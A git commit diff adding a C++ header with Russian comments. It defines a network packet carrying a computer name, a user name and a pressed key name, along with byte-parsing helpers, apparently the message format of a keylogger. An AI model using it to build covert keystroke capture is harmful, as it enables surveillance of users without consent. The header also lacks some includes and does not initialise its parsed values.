parent
aca24e2009
commit
fb52755d80
@ -0,0 +1,49 @@
|
||||
//
|
||||
// Created by dubininvyu on 11.02.23.
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <climits>
|
||||
|
||||
struct TCPIPPacket {
|
||||
|
||||
uint8_t typeID; // идентификатор типа пакета
|
||||
uint32_t size; // размер всего пакета в байтах
|
||||
uint32_t time; // временная метка пакета
|
||||
uint32_t crc32; // контрольная сумма пакета
|
||||
|
||||
uint32_t pcNameSize; // количество байтов в имени компьютера
|
||||
std::string pcName; // имя компьютера
|
||||
|
||||
uint32_t userNameSize; // количество байтов в имени пользователя
|
||||
std::string userName; // имя пользователя
|
||||
|
||||
uint32_t keyNameSize; // количество байтов в имени нажатой клавиши
|
||||
std::string keyName; // имя нажатой клавиши
|
||||
|
||||
explicit TCPIPPacket();
|
||||
};
|
||||
|
||||
const auto MIN_PACKET_SIZE = sizeof(TCPIPPacket::typeID) + sizeof(TCPIPPacket::size);
|
||||
|
||||
typedef std::vector<char> bytes_vector;
|
||||
|
||||
template <typename T>
|
||||
void popValue(bytes_vector& vBytes, T& value) {
|
||||
for (int i = sizeof(value) - 1; i >= 0; i--) {
|
||||
const auto it = vBytes.begin(); // берем указатель на первый байт вектора
|
||||
const auto byte = static_cast<unsigned char>(*it.base());
|
||||
value |= (byte << (i * CHAR_BIT)); // ставим первый байт вектора на свое место
|
||||
vBytes.erase(it); // удаляем рассмотренный байт из вектора
|
||||
}
|
||||
}
|
||||
|
||||
template <typename T>
|
||||
void popValue(bytes_vector& vBytes, std::string& value, const T size) {
|
||||
for (auto i = 0; i < size; i++) {
|
||||
const auto it = vBytes.begin(); // получаем указатель на начало вектора
|
||||
value += *it.base();
|
||||
vBytes.erase(it); // удаляем рассмотренный байт из вектора
|
||||
}
|
||||
}
|
Loading…
Reference in new issue